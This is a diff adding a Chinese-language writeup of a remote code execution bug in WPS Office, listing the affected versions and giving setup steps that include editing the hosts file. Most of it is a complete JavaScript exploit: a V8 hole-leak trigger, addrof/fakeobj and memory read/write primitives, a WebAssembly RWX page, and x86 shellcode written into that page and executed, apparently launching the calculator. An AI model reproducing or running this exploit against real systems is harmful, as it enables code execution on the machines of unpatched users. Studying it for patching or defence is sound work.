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+## 金山WPS RCE
+
+wps影响范围为：WPS Office 2023 个人版 < 11.1.0.15120
+WPS Office 2019 企业版 < 11.8.2.12085
+POC
+在1.html当前路径下启动http server并监听80端口，修改hosts文件（测试写死的） 
+127.0.0.1 clientweb.docer.wps.cn.cloudwps.cn
+
+漏洞触发需让域名规则满足clientweb.docer.wps.cn.{xxxxx}wps.cn cloudwps.cn和wps.cn没有任何关系
+代码块在底下。（需要原pdf加wechat）
+```
+<script>
+if(typeof alert === "undefined"){
+alert = console.log;
+}
+let f64 = new Float64Array(1);
+let u32 = new Uint32Array(f64.buffer);
+function d2u(v) {
+f64[0] = v;
+return u32;
+}
+function u2d(lo, hi) {
+u32[0] = lo;
+u32[1] = hi;
+return f64[0];
+}
+function gc(){ // major
+for (let i = 0; i < 0x10; i++) {
+new Array(0x100000);
+}
+}
+function foo(bug) {
+function C(z) {
+Error.prepareStackTrace = function(t, B) {
+return B[z].getThis();
+};
+let p = Error().stack;
+Error.prepareStackTrace = null;
+return p;
+}
+function J() {}
+var optim = false;
+var opt = new Function(
+'a', 'b', 'c',
+'if(typeof a===\'number\'){if(a>2){for(var
+i=0;i<100;i++);return;}b.d(a,b,1);return}' +
+'g++;'.repeat(70));
+var e = null;
+J.prototype.d = new Function(
+'a', 'b', '"use strict";b.a.call(arguments,b);return arguments[a];');
+J.prototype.a = new Function('a', 'a.b(0,a)');
+J.prototype.b = new Function(
+'a', 'b',
+'b.c();if(a){' +
+'g++;'.repeat(70) + '}');
+J.prototype.c = function() {
+if (optim) {
+var z = C(3);
+var p = C(3);
+z[0] = 0;
+e = {M: z, C: p};
+}
+};
+var a = new J();
+// jit optim
+if (bug) {
+for (var V = 0; 1E4 > V; V++) {
+opt(0 == V % 4 ? 1 : 4, a, 1);
+}
+}
+optim = true;
+opt(1, a, 1);
+return e;
+}
+e1 = foo(false);
+e2 = foo(true);
+delete e2.M[0];
+let hole = e2.C[0];
+let map = new Map();
+map.set('asd', 8);
+map.set(hole, 0x8);
+map.delete(hole);
+map.delete(hole);
+map.delete("asd");
+map.set(0x20, "aaaa");
+let arr3 = new Array(0);
+let arr4 = new Array(0);
+let arr5 = new Array(1);
+let oob_array = [];
+oob_array.push(1.1);
+map.set("1", -1);
+let obj_array = {
+m: 1337, target: gc
+};
+let ab = new ArrayBuffer(1337);
+let object_idx = undefined;
+let object_idx_flag = undefined;
+let max_size = 0x1000;
+for (let i = 0; i < max_size; i++) {
+if (d2u(oob_array[i])[0] === 0xa72) {
+object_idx = i;
+object_idx_flag = 1;
+break;
+}if (d2u(oob_array[i])[1] === 0xa72) {
+object_idx = i + 1;
+object_idx_flag = 0;
+break;
+}
+}
+function addrof(obj_para) {
+obj_array.target = obj_para;
+let addr = d2u(oob_array[object_idx])[object_idx_flag] - 1;
+obj_array.target = gc;
+return addr;
+}
+function fakeobj(addr) {
+let r8 = d2u(oob_array[object_idx]);
+if (object_idx_flag === 0) {
+oob_array[object_idx] = u2d(addr, r8[1]);
+}else {
+oob_array[object_idx] = u2d(r8[0], addr);
+}
+return obj_array.target;
+}
+let bk_idx = undefined;
+let bk_idx_flag = undefined;
+for (let i = 0; i < max_size; i++) {
+if (d2u(oob_array[i])[0] === 1337) {
+bk_idx = i;
+bk_idx_flag = 1;
+break;
+}if (d2u(oob_array[i])[1] === 1337) {
+bk_idx = i + 1;
+bk_idx_flag = 0;
+break;
+}
+}
+let dv = new DataView(ab);
+function get_32(addr) {
+let r8 = d2u(oob_array[bk_idx]);
+if (bk_idx_flag === 0) {
+oob_array[bk_idx] = u2d(addr, r8[1]);
+} else {
+oob_array[bk_idx] = u2d(r8[0], addr);
+}
+let val = dv.getUint32(0, true);
+oob_array[bk_idx] = u2d(r8[0], r8[1]);
+return val;
+}
+function set_32(addr, val) {
+let r8 = d2u(oob_array[bk_idx]);
+if (bk_idx_flag === 0) {
+oob_array[bk_idx] = u2d(addr, r8[1]);
+} else {
+oob_array[bk_idx] = u2d(r8[0], addr);
+}
+dv.setUint32(0, val, true);
+oob_array[bk_idx] = u2d(r8[0], r8[1]);
+}
+function write8(addr, val) {
+let r8 = d2u(oob_array[bk_idx]);
+if (bk_idx_flag === 0) {
+oob_array[bk_idx] = u2d(addr, r8[1]);
+} else {
+oob_array[bk_idx] = u2d(r8[0], addr);
+}
+dv.setUint8(0, val);
+}
+let fake_length = get_32(addrof(oob_array)+12);
+set_32(get_32(addrof(oob_array)+8)+4,fake_length);
+let wasm_code = new
+Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,
+128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,
+128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0
+,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
+let wasm_mod = new WebAssembly.Module(wasm_code);
+let wasm_instance = new WebAssembly.Instance(wasm_mod);
+let f = wasm_instance.exports.main;
+let target_addr = addrof(wasm_instance)+0x40;
+let rwx_mem = get_32(target_addr);
+//alert("rwx_mem is"+rwx_mem.toString(16));
+const shellcode = new Uint8Array([0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89,
+0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30,0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14,
+0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff,0xac, 0x3c, 0x61, 0x7c,
+0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52,0x57, 0x8b,
+0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01,
+0xd1,0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49,
+0x8b, 0x34, 0x8b,0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7,
+0x38, 0xe0, 0x75, 0xf6, 0x03,0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58,
+0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b,0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01,
+0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24,0x24, 0x5b, 0x5b, 0x61,
+0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb,0x8d, 0x5d,
+0x6a, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b,
+0x6f,0x87, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x68, 0xa6, 0x95, 0xbd,
+0x9d, 0xff, 0xd5,0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
+0x47, 0x13, 0x72, 0x6f, 0x6a,0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63,
+0x00]);
+for(let i=0;i<shellcode.length;i++){
+write8(rwx_mem+i,shellcode[i]);
+}
+f();
+</script>
+```